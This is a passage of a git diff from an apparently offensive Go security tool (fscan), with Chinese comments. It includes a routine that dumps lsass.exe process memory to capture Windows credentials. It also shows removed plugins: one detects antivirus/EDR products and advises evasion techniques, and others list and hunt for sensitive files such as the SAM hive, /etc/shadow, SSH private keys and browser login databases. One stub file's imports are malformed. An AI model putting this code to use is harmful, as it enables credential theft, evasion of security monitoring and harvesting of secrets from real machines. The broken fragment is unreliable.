pathPtr, err := syscall.UTF16PtrFromString(path)
if err != nil {
return 0, err
}
createFile := pm.kernel32.MustFindProc("CreateFileW")
handle, _, err := createFile.Call(
uintptr(unsafe.Pointer(pathPtr)),
syscall.GENERIC_WRITE,
0,
0,
syscall.CREATE_ALWAYS,
syscall.FILE_ATTRIBUTE_NORMAL,
0,
)
if handle == INVALID_HANDLE_VALUE {
return 0, fmt.Errorf("创建文件失败: %v", err)
}
return handle, nil
}
// 查找目标进程
func (pm *ProcessManager) FindProcess(name string) (uint32, error) {
snapshot, err := pm.createProcessSnapshot()
if err != nil {
return 0, err
}
defer pm.closeHandle(snapshot)
return pm.findProcessInSnapshot(snapshot, name)
}
// 检查是否具有管理员权限
func IsAdmin() bool {
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid)
if err != nil {
return false
}
defer windows.FreeSid(sid)
token := windows.Token(0)
member, err := token.IsMember(sid)
return err == nil && member
}
func MiniDump(info *common.HostInfo) (err error) {
// 先检查管理员权限
if !IsAdmin() {
common.LogError("需要管理员权限才能执行此操作")
return fmt.Errorf("需要管理员权限才能执行此操作")
}
pm, err := NewProcessManager()
if err != nil {
common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err))
return fmt.Errorf("初始化进程管理器失败: %v", err)
}
// 查找 lsass.exe
pid, err := pm.FindProcess("lsass.exe")
if err != nil {
common.LogError(fmt.Sprintf("查找进程失败: %v", err))
return fmt.Errorf("查找进程失败: %v", err)
}
common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid))
// 提升权限
if err := pm.ElevatePrivileges(); err != nil {
common.LogError(fmt.Sprintf("提升权限失败: %v", err))
return fmt.Errorf("提升权限失败: %v", err)
}
common.LogSuccess("成功提升进程权限")
// 创建输出路径
outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid))
// 执行转储
if err := pm.DumpProcess(pid, outputPath); err != nil {
os.Remove(outputPath)
common.LogError(fmt.Sprintf("进程转储失败: %v", err))
return fmt.Errorf("进程转储失败: %v", err)
}
common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath))
return nil
}

10
Plugins/MiniDumpUnix.go Normal file
View File

@ -0,0 +1,10 @@
//go:build !windows
package Plugins
import "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
func MiniDump(info *common.HostInfo) (err error) {
return nil
}

File diff suppressed because it is too large Load Diff

View File

@ -1,646 +0,0 @@
package avdetect
import (
"bufio"
"context"
_ "embed"
"encoding/json"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"sort"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
//go:embed auto.json
var embeddedAVDatabase []byte
// AVDetectPlugin AV/EDR检测插件
type AVDetectPlugin struct {
*local.BaseLocalPlugin
connector *AVDetectConnector
// AV/EDR数据库
avDatabase map[string]AVProduct
configPath string
}
// AVDetectConnector AV/EDR检测连接器
type AVDetectConnector struct {
*local.BaseLocalConnector
}
// AVDetectConnection AV/EDR检测连接对象
type AVDetectConnection struct {
*local.LocalConnection
RunningProcesses []ProcessInfo
SystemInfo map[string]string
}
// AVProduct AV/EDR产品信息
type AVProduct struct {
Processes []string `json:"processes"`
URL string `json:"url"`
}
// ProcessInfo 进程信息
type ProcessInfo struct {
Name string
PID string
SessionName string
SessionID string
MemUsage string
Services []string // 服务信息
}
// DetectionResult 检测结果
type DetectionResult struct {
ProductName string `json:"product_name"`
DetectedProcesses []ProcessInfo `json:"detected_processes"`
URL string `json:"url"`
RiskLevel string `json:"risk_level"`
Category string `json:"category"`
}
// NewAVDetectPlugin 创建AV/EDR检测插件
func NewAVDetectPlugin() *AVDetectPlugin {
metadata := &base.PluginMetadata{
Name: "avdetect",
Version: "1.0.0",
Author: "fscan-team",
Description: "自动化AV/EDR检测插件基于auto.json规则库识别安全软件",
Category: "local",
Tags: []string{"local", "av", "edr", "detection", "security"},
Protocols: []string{"local"},
}
connector := NewAVDetectConnector()
plugin := &AVDetectPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
avDatabase: make(map[string]AVProduct),
configPath: "auto.json", // 默认配置文件路径
}
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// NewAVDetectConnector 创建AV/EDR检测连接器
func NewAVDetectConnector() *AVDetectConnector {
baseConnector, _ := local.NewBaseLocalConnector()
return &AVDetectConnector{
BaseLocalConnector: baseConnector,
}
}
// Connect 建立AV/EDR检测连接
func (c *AVDetectConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
}
baseConn := localConn.(*local.LocalConnection)
// 获取系统进程信息
processes, err := c.getRunningProcesses()
if err != nil {
return nil, fmt.Errorf("获取进程列表失败: %v", err)
}
avDetectConn := &AVDetectConnection{
LocalConnection: baseConn,
RunningProcesses: processes,
SystemInfo: baseConn.SystemInfo,
}
return avDetectConn, nil
}
// Close 关闭AV/EDR检测连接
func (c *AVDetectConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
}
// getRunningProcesses 获取运行中的进程列表
func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
var processes []ProcessInfo
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
// Windows使用PowerShell获取进程信息以避免编码问题
cmd = exec.Command("powershell", "-Command", "Get-Process | Select-Object Name,Id,ProcessName | ConvertTo-Csv -NoTypeInformation")
case "linux", "darwin":
// Unix-like系统使用ps命令
cmd = exec.Command("ps", "aux")
default:
return nil, fmt.Errorf("不支持的操作系统: %s", runtime.GOOS)
}
output, err := cmd.Output()
if err != nil {
return nil, fmt.Errorf("执行命令失败: %v", err)
}
// 解析命令输出
processes, err = c.parseProcessOutput(string(output))
if err != nil {
return nil, fmt.Errorf("解析进程信息失败: %v", err)
}
return processes, nil
}
// parseProcessOutput 解析进程命令输出
func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, error) {
var processes []ProcessInfo
scanner := bufio.NewScanner(strings.NewReader(output))
switch runtime.GOOS {
case "windows":
// 跳过CSV标题行
if scanner.Scan() {
// 标题行,跳过
}
for scanner.Scan() {
line := scanner.Text()
if line == "" {
continue
}
// 解析PowerShell CSV格式Name,Id,ProcessName
fields := c.parseCSVLine(line)
if len(fields) >= 3 {
processName := strings.Trim(fields[0], "\"")
// 如果进程名不包含.exe则添加
if !strings.HasSuffix(strings.ToLower(processName), ".exe") {
processName += ".exe"
}
process := ProcessInfo{
Name: processName,
PID: strings.Trim(fields[1], "\""),
}
processes = append(processes, process)
}
}
case "linux", "darwin":
// 跳过ps命令的标题行
if scanner.Scan() {
// 标题行,跳过
}
for scanner.Scan() {
line := scanner.Text()
if line == "" {
continue
}
// 解析ps aux输出
fields := strings.Fields(line)
if len(fields) >= 11 {
process := ProcessInfo{
Name: fields[10], // 命令名
PID: fields[1], // PID
MemUsage: fields[5], // 内存使用
}
processes = append(processes, process)
}
}
}
return processes, scanner.Err()
}
// parseCSVLine 解析CSV行处理引号内的逗号
func (c *AVDetectConnector) parseCSVLine(line string) []string {
var fields []string
var current strings.Builder
inQuotes := false
for i, char := range line {
switch char {
case '"':
inQuotes = !inQuotes
current.WriteRune(char)
case ',':
if inQuotes {
current.WriteRune(char)
} else {
fields = append(fields, current.String())
current.Reset()
}
default:
current.WriteRune(char)
}
// 处理行尾
if i == len(line)-1 {
fields = append(fields, current.String())
}
}
return fields
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行AV/EDR检测扫描
func (p *AVDetectPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始AV/EDR安全软件检测...")
// 加载AV数据库
err := p.loadAVDatabase()
if err != nil {
common.LogError(fmt.Sprintf("加载AV数据库失败: %v", err))
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
common.LogDebug(fmt.Sprintf("成功加载 %d 个安全产品规则", len(p.avDatabase)))
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
avDetectConn := conn.(*AVDetectConnection)
common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(avDetectConn.RunningProcesses)))
// 执行AV/EDR检测
detectionResults := p.detectAVEDR(avDetectConn.RunningProcesses)
// 生成检测报告
report := p.generateDetectionReport(detectionResults, avDetectConn.SystemInfo)
result := &base.ScanResult{
Success: len(detectionResults) >= 0, // 即使没有检测到也算成功
Service: "AVDetect",
Banner: fmt.Sprintf("检测完成: 发现 %d 个安全产品", len(detectionResults)),
Extra: map[string]interface{}{
"detected_products": detectionResults,
"total_processes": len(avDetectConn.RunningProcesses),
"detection_report": report,
"platform": runtime.GOOS,
"database_products": len(p.avDatabase),
},
}
if len(detectionResults) > 0 {
common.LogSuccess(fmt.Sprintf("AV/EDR检测完成: 发现 %d 个安全产品", len(detectionResults)))
for _, detection := range detectionResults {
common.LogSuccess(fmt.Sprintf("检测到: %s (%d个进程)", detection.ProductName, len(detection.DetectedProcesses)))
}
} else {
common.LogBase("未检测到已知的AV/EDR安全产品")
}
return result, nil
}
// loadAVDatabase 加载AV/EDR数据库
func (p *AVDetectPlugin) loadAVDatabase() error {
// 首先尝试使用嵌入的数据库
common.LogDebug("使用嵌入的AV/EDR规则数据库")
err := json.Unmarshal(embeddedAVDatabase, &p.avDatabase)
if err != nil {
return fmt.Errorf("解析嵌入的AV数据库失败: %v", err)
}
if len(p.avDatabase) == 0 {
return fmt.Errorf("嵌入的AV数据库为空或格式错误")
}
return nil
}
// detectAVEDR 检测AV/EDR产品
func (p *AVDetectPlugin) detectAVEDR(processes []ProcessInfo) []DetectionResult {
var results []DetectionResult
processMap := make(map[string][]ProcessInfo)
// 构建进程名称映射,忽略大小写
for _, process := range processes {
processName := strings.ToLower(process.Name)
processMap[processName] = append(processMap[processName], process)
}
// 遍历AV数据库进行匹配
for productName, avProduct := range p.avDatabase {
var detectedProcesses []ProcessInfo
// 检查每个已知进程
for _, targetProcess := range avProduct.Processes {
targetProcessLower := strings.ToLower(targetProcess)
// 精确匹配
if matchedProcesses, exists := processMap[targetProcessLower]; exists {
detectedProcesses = append(detectedProcesses, matchedProcesses...)
} else {
// 模糊匹配(去除扩展名)
targetWithoutExt := strings.TrimSuffix(targetProcessLower, filepath.Ext(targetProcessLower))
for processName, matchedProcesses := range processMap {
processWithoutExt := strings.TrimSuffix(processName, filepath.Ext(processName))
if processWithoutExt == targetWithoutExt {
detectedProcesses = append(detectedProcesses, matchedProcesses...)
break
}
}
}
}
// 如果检测到进程,添加到结果中
if len(detectedProcesses) > 0 {
// 去重
detectedProcesses = p.deduplicateProcesses(detectedProcesses)
result := DetectionResult{
ProductName: productName,
DetectedProcesses: detectedProcesses,
URL: avProduct.URL,
RiskLevel: p.assessRiskLevel(productName, detectedProcesses),
Category: p.categorizeProduct(productName),
}
results = append(results, result)
}
}
// 按检测到的进程数量排序
sort.Slice(results, func(i, j int) bool {
return len(results[i].DetectedProcesses) > len(results[j].DetectedProcesses)
})
return results
}
// deduplicateProcesses 去重进程列表
func (p *AVDetectPlugin) deduplicateProcesses(processes []ProcessInfo) []ProcessInfo {
seen := make(map[string]bool)
var result []ProcessInfo
for _, process := range processes {
key := fmt.Sprintf("%s-%s", process.Name, process.PID)
if !seen[key] {
seen[key] = true
result = append(result, process)
}
}
return result
}
// assessRiskLevel 评估风险等级
func (p *AVDetectPlugin) assessRiskLevel(productName string, processes []ProcessInfo) string {
// 基于产品名称和进程数量评估风险等级
productLower := strings.ToLower(productName)
// 高风险EDR产品
highRiskKeywords := []string{"crowdstrike", "sentinelone", "cybereason", "endgame",
"fireeye", "trellix", "elastic security", "深信服", "奇安信", "天擎"}
for _, keyword := range highRiskKeywords {
if strings.Contains(productLower, strings.ToLower(keyword)) {
return "HIGH"
}
}
// 中等风险企业级AV
mediumRiskKeywords := []string{"kaspersky", "symantec", "mcafee", "趋势科技",
"bitdefender", "eset", "sophos", "火绒", "360"}
for _, keyword := range mediumRiskKeywords {
if strings.Contains(productLower, strings.ToLower(keyword)) {
return "MEDIUM"
}
}
// 根据进程数量判断
if len(processes) >= 3 {
return "MEDIUM"
}
return "LOW"
}
// categorizeProduct 产品分类
func (p *AVDetectPlugin) categorizeProduct(productName string) string {
productLower := strings.ToLower(productName)
// EDR产品
edrKeywords := []string{"edr", "endpoint", "crowdstrike", "sentinelone",
"cybereason", "深信服edr", "天擎", "elastic security"}
for _, keyword := range edrKeywords {
if strings.Contains(productLower, strings.ToLower(keyword)) {
return "EDR"
}
}
// 企业级防病毒
enterpriseKeywords := []string{"enterprise", "business", "server",
"corporate", "管理版", "企业版"}
for _, keyword := range enterpriseKeywords {
if strings.Contains(productLower, strings.ToLower(keyword)) {
return "Enterprise AV"
}
}
// 云安全
cloudKeywords := []string{"cloud", "阿里云", "腾讯云", "云锁", "云安全"}
for _, keyword := range cloudKeywords {
if strings.Contains(productLower, strings.ToLower(keyword)) {
return "Cloud Security"
}
}
// 主机防护
hostKeywords := []string{"host", "hips", "主机", "防护", "卫士"}
for _, keyword := range hostKeywords {
if strings.Contains(productLower, strings.ToLower(keyword)) {
return "Host Protection"
}
}
return "Traditional AV"
}
// generateDetectionReport 生成检测报告
func (p *AVDetectPlugin) generateDetectionReport(results []DetectionResult, systemInfo map[string]string) string {
var report strings.Builder
report.WriteString("=== AV/EDR 检测报告 ===\n")
report.WriteString(fmt.Sprintf("扫描时间: %s\n", time.Now().Format("2006-01-02 15:04:05")))
report.WriteString(fmt.Sprintf("系统平台: %s/%s\n", systemInfo["os"], systemInfo["arch"]))
report.WriteString(fmt.Sprintf("检测产品: %d 个\n\n", len(results)))
if len(results) == 0 {
report.WriteString("未检测到已知的AV/EDR产品\n")
report.WriteString("注意: 可能存在未知安全软件或进程伪装\n")
return report.String()
}
// 按风险等级分组
riskGroups := map[string][]DetectionResult{
"HIGH": {},
"MEDIUM": {},
"LOW": {},
}
for _, result := range results {
riskGroups[result.RiskLevel] = append(riskGroups[result.RiskLevel], result)
}
// 高风险产品
if len(riskGroups["HIGH"]) > 0 {
report.WriteString("🔴 高风险安全产品:\n")
for _, result := range riskGroups["HIGH"] {
report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n",
result.ProductName, result.Category, len(result.DetectedProcesses)))
for _, process := range result.DetectedProcesses {
report.WriteString(fmt.Sprintf(" - %s (PID: %s)\n", process.Name, process.PID))
}
}
report.WriteString("\n")
}
// 中等风险产品
if len(riskGroups["MEDIUM"]) > 0 {
report.WriteString("🟡 中等风险安全产品:\n")
for _, result := range riskGroups["MEDIUM"] {
report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n",
result.ProductName, result.Category, len(result.DetectedProcesses)))
}
report.WriteString("\n")
}
// 低风险产品
if len(riskGroups["LOW"]) > 0 {
report.WriteString("🟢 低风险安全产品:\n")
for _, result := range riskGroups["LOW"] {
report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n",
result.ProductName, result.Category, len(result.DetectedProcesses)))
}
report.WriteString("\n")
}
// 建议
report.WriteString("=== 渗透测试建议 ===\n")
if len(riskGroups["HIGH"]) > 0 {
report.WriteString("⚠️ 检测到高级EDR产品建议:\n")
report.WriteString(" - 使用内存加载技术\n")
report.WriteString(" - 避免落地文件\n")
report.WriteString(" - 使用白名单绕过技术\n")
report.WriteString(" - 考虑Living off the Land技术\n\n")
}
if len(results) > 1 {
report.WriteString("📊 检测到多个安全产品,环境复杂度较高\n")
}
return report.String()
}
// GetLocalData 获取AV/EDR检测本地数据
func (p *AVDetectPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["plugin_type"] = "avdetect"
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
data["database_size"] = len(p.avDatabase)
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// ExtractData 提取AV/EDR检测数据
func (p *AVDetectPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: "AV/EDR检测完成",
Data: data,
Extra: map[string]interface{}{
"detection_type": "automated",
"database_version": "auto.json",
},
}, nil
}
// GetInfo 获取插件信息
func (p *AVDetectPlugin) GetInfo() string {
var info strings.Builder
info.WriteString(fmt.Sprintf("AV/EDR自动检测插件 - 规则库: %d 个产品\n", len(p.avDatabase)))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("检测方式: tasklist/ps + JSON规则匹配\n")
info.WriteString("功能: 自动识别常见AV/EDR产品并评估风险等级\n")
return info.String()
}
// RegisterAVDetectPlugin 注册AV/EDR检测插件
func RegisterAVDetectPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "avdetect",
Version: "1.0.0",
Author: "fscan-team",
Description: "自动化AV/EDR检测插件基于auto.json规则库识别安全软件",
Category: "local",
Tags: []string{"avdetect", "local", "av", "edr", "security"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewAVDetectPlugin()
},
)
base.GlobalPluginRegistry.Register("avdetect", factory)
}
// init 插件注册函数
func init() {
RegisterAVDetectPlugin()
}

View File

@ -1,163 +0,0 @@
package local
import (
"context"
"fmt"
"os"
"runtime"
"path/filepath"
"github.com/shadow1ng/fscan/common"
)
// BaseLocalConnector 基础本地连接器实现
type BaseLocalConnector struct {
workingDir string
homeDir string
systemInfo map[string]string
}
// LocalConnection 本地连接对象
type LocalConnection struct {
WorkingDir string
HomeDir string
SystemInfo map[string]string
TempDir string
}
// NewBaseLocalConnector 创建基础本地连接器
func NewBaseLocalConnector() (*BaseLocalConnector, error) {
homeDir, err := os.UserHomeDir()
if err != nil {
return nil, err
}
workingDir, err := os.Getwd()
if err != nil {
return nil, err
}
return &BaseLocalConnector{
workingDir: workingDir,
homeDir: homeDir,
systemInfo: make(map[string]string),
}, nil
}
// Connect 建立本地连接
func (c *BaseLocalConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 初始化系统信息
c.initSystemInfo()
tempDir := os.TempDir()
conn := &LocalConnection{
WorkingDir: c.workingDir,
HomeDir: c.homeDir,
SystemInfo: c.systemInfo,
TempDir: tempDir,
}
return conn, nil
}
// Close 关闭连接
func (c *BaseLocalConnector) Close(conn interface{}) error {
// 本地连接无需特殊关闭操作
return nil
}
// GetSystemInfo 获取系统信息
func (c *BaseLocalConnector) GetSystemInfo(conn interface{}) (map[string]string, error) {
localConn, ok := conn.(*LocalConnection)
if !ok {
return nil, fmt.Errorf("无效的连接类型")
}
return localConn.SystemInfo, nil
}
// initSystemInfo 初始化系统信息
func (c *BaseLocalConnector) initSystemInfo() {
c.systemInfo["os"] = runtime.GOOS
c.systemInfo["arch"] = runtime.GOARCH
c.systemInfo["home_dir"] = c.homeDir
c.systemInfo["working_dir"] = c.workingDir
c.systemInfo["temp_dir"] = os.TempDir()
// 获取用户名
if username := os.Getenv("USER"); username != "" {
c.systemInfo["username"] = username
} else if username := os.Getenv("USERNAME"); username != "" {
c.systemInfo["username"] = username
}
// 获取主机名
if hostname, err := os.Hostname(); err == nil {
c.systemInfo["hostname"] = hostname
}
}
// GetCommonDirectories 获取常见目录路径
func (c *BaseLocalConnector) GetCommonDirectories() []string {
var dirs []string
switch runtime.GOOS {
case "windows":
dirs = []string{
c.homeDir,
filepath.Join(c.homeDir, "Desktop"),
filepath.Join(c.homeDir, "Documents"),
filepath.Join(c.homeDir, "Downloads"),
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
"C:\\Program Files",
"C:\\Program Files (x86)",
}
case "linux", "darwin":
dirs = []string{
c.homeDir,
filepath.Join(c.homeDir, "Desktop"),
filepath.Join(c.homeDir, "Documents"),
filepath.Join(c.homeDir, "Downloads"),
"/opt",
"/usr/local",
"/var/www",
"/var/log",
}
}
return dirs
}
// GetSensitiveFiles 获取敏感文件路径
func (c *BaseLocalConnector) GetSensitiveFiles() []string {
var files []string
switch runtime.GOOS {
case "windows":
files = []string{
"C:\\boot.ini",
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
filepath.Join(c.homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(c.homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(c.homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}
case "linux", "darwin":
files = []string{
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/ssh/ssh_config",
"/root/.ssh/id_rsa",
"/root/.ssh/authorized_keys",
"/root/.bash_history",
filepath.Join(c.homeDir, ".ssh/id_rsa"),
filepath.Join(c.homeDir, ".ssh/authorized_keys"),
filepath.Join(c.homeDir, ".bash_history"),
}
}
return files
}

File diff suppressed because it is too large Load Diff

View File

@ -1,376 +0,0 @@
package fileinfo
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// FileInfoPlugin 文件信息收集插件
type FileInfoPlugin struct {
*local.BaseLocalPlugin
connector *FileInfoConnector
// 配置选项
blacklist []string
whitelist []string
}
// FileInfoConnector 文件信息连接器
type FileInfoConnector struct {
*local.BaseLocalConnector
sensitiveFiles []string
searchDirs []string
}
// NewFileInfoPlugin 创建文件信息收集插件
func NewFileInfoPlugin() *FileInfoPlugin {
metadata := &base.PluginMetadata{
Name: "fileinfo",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地敏感文件信息收集插件",
Category: "local",
Tags: []string{"local", "fileinfo", "sensitive"},
Protocols: []string{"local"},
}
connector := NewFileInfoConnector()
plugin := &FileInfoPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
blacklist: []string{
// 可执行文件和库
".exe", ".dll", ".so", ".dylib", ".sys", ".msi", ".com", ".scr",
// 图像和媒体文件
".png", ".jpg", ".jpeg", ".gif", ".bmp", ".ico", ".tiff", ".svg",
".mp3", ".mp4", ".avi", ".mov", ".wmv", ".wav", ".flac",
// 文档和归档文件(通常不含敏感信息)
".pdf", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx",
".zip", ".rar", ".7z", ".tar", ".gz",
// 代码和项目文件
".pyc", ".pyo", ".class", ".obj", ".o", ".lib", ".a",
// 系统和临时文件
".tmp", ".temp", ".log", ".cache", ".bak", ".swp",
".manifest", ".mui", ".nls", ".dat", ".bin", ".pdb",
// 系统目录
"windows\\system32", "windows\\syswow64", "windows\\winsxs",
"program files", "program files (x86)", "programdata",
"appdata\\local\\temp", "appdata\\local\\microsoft\\windows",
"locale", "winsxs", "windows\\sys", "node_modules", ".git",
"__pycache__", ".vs", ".vscode\\extensions", "dist\\bundled",
},
whitelist: []string{
// 中文关键词 - 更精确的匹配
"密码", "账号", "用户", "凭据", "证书", "私钥", "公钥",
"令牌", "口令", "认证", "授权", "登录",
// 英文关键词 - 敏感文件标识
"password", "passwd", "credential", "token", "auth", "login",
"key", "secret", "cert", "certificate", "private", "public",
"rsa", "ssh", "api_key", "access_key", "session",
// 配置文件 - 但更具体
".env", "database", "db_", "connection", "conn_",
// 特定敏感文件名
"id_rsa", "id_dsa", "authorized_keys", "known_hosts",
"shadow", "passwd", "credentials", "keystore",
},
}
// 设置平台支持
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
return plugin
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// NewFileInfoConnector 创建文件信息连接器
func NewFileInfoConnector() *FileInfoConnector {
baseConnector, _ := local.NewBaseLocalConnector()
connector := &FileInfoConnector{
BaseLocalConnector: baseConnector,
}
connector.initSensitiveFiles()
return connector
}
// initSensitiveFiles 初始化敏感文件列表
func (c *FileInfoConnector) initSensitiveFiles() {
switch runtime.GOOS {
case "windows":
c.sensitiveFiles = []string{
"C:\\boot.ini",
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
}
if homeDir := c.GetCommonDirectories()[0]; homeDir != "" {
c.sensitiveFiles = append(c.sensitiveFiles, []string{
filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}...)
}
case "linux", "darwin":
c.sensitiveFiles = []string{
"/etc/apache/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/nginx/nginx.conf",
"/etc/hosts.deny",
"/etc/ssh/ssh_config",
"/etc/resolv.conf",
"/root/.ssh/authorized_keys",
"/root/.ssh/id_rsa",
"/root/.bash_history",
}
}
c.searchDirs = c.getOptimizedSearchDirs()
}
// getOptimizedSearchDirs 获取优化的搜索目录(避免扫描大型系统目录)
func (c *FileInfoConnector) getOptimizedSearchDirs() []string {
var dirs []string
switch runtime.GOOS {
case "windows":
dirs = []string{
// 用户目录的关键文件夹
c.GetCommonDirectories()[0], // homeDir
filepath.Join(c.GetCommonDirectories()[0], "Desktop"),
filepath.Join(c.GetCommonDirectories()[0], "Documents"),
filepath.Join(c.GetCommonDirectories()[0], "Downloads"),
filepath.Join(c.GetCommonDirectories()[0], ".ssh"),
filepath.Join(c.GetCommonDirectories()[0], ".aws"),
filepath.Join(c.GetCommonDirectories()[0], ".azure"),
filepath.Join(c.GetCommonDirectories()[0], ".kube"),
// 公共目录的关键部分
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
}
case "linux", "darwin":
homeDir := c.GetCommonDirectories()[0]
dirs = []string{
homeDir,
filepath.Join(homeDir, "Desktop"),
filepath.Join(homeDir, "Documents"),
filepath.Join(homeDir, "Downloads"),
filepath.Join(homeDir, ".ssh"),
filepath.Join(homeDir, ".aws"),
filepath.Join(homeDir, ".azure"),
filepath.Join(homeDir, ".kube"),
"/opt",
"/usr/local/bin",
"/var/www",
}
}
// 过滤存在的目录
var validDirs []string
for _, dir := range dirs {
if _, err := os.Stat(dir); err == nil {
validDirs = append(validDirs, dir)
}
}
return validDirs
}
// ScanLocal 执行本地文件扫描
func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始本地敏感文件扫描...")
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
foundFiles := make([]string, 0)
// 扫描固定位置的敏感文件
common.LogDebug("扫描固定敏感文件位置...")
for _, file := range p.connector.sensitiveFiles {
if p.checkFile(file) {
foundFiles = append(foundFiles, file)
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file))
}
}
// 根据规则搜索敏感文件
common.LogDebug("按规则搜索敏感文件...")
searchFiles := p.searchSensitiveFiles()
foundFiles = append(foundFiles, searchFiles...)
result := &base.ScanResult{
Success: len(foundFiles) > 0,
Service: "FileInfo",
Banner: fmt.Sprintf("发现 %d 个敏感文件", len(foundFiles)),
Extra: map[string]interface{}{
"files": foundFiles,
"total_count": len(foundFiles),
"platform": runtime.GOOS,
},
}
if len(foundFiles) > 0 {
common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles)))
} else {
common.LogDebug("未发现敏感文件")
}
return result, nil
}
// GetLocalData 获取本地文件数据
func (p *FileInfoPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// ExtractData 提取敏感文件数据
func (p *FileInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
// 文件信息收集插件主要是扫描,不进行深度利用
return &base.ExploitResult{
Success: true,
Output: "文件信息收集完成",
Data: data,
}, nil
}
// checkFile 检查文件是否存在
func (p *FileInfoPlugin) checkFile(path string) bool {
if _, err := os.Stat(path); err == nil {
return true
}
return false
}
// searchSensitiveFiles 搜索敏感文件(限制深度和数量)
func (p *FileInfoPlugin) searchSensitiveFiles() []string {
var foundFiles []string
maxFiles := 50 // 限制最多找到的文件数量
maxDepth := 4 // 限制递归深度
for _, searchPath := range p.connector.searchDirs {
if len(foundFiles) >= maxFiles {
break
}
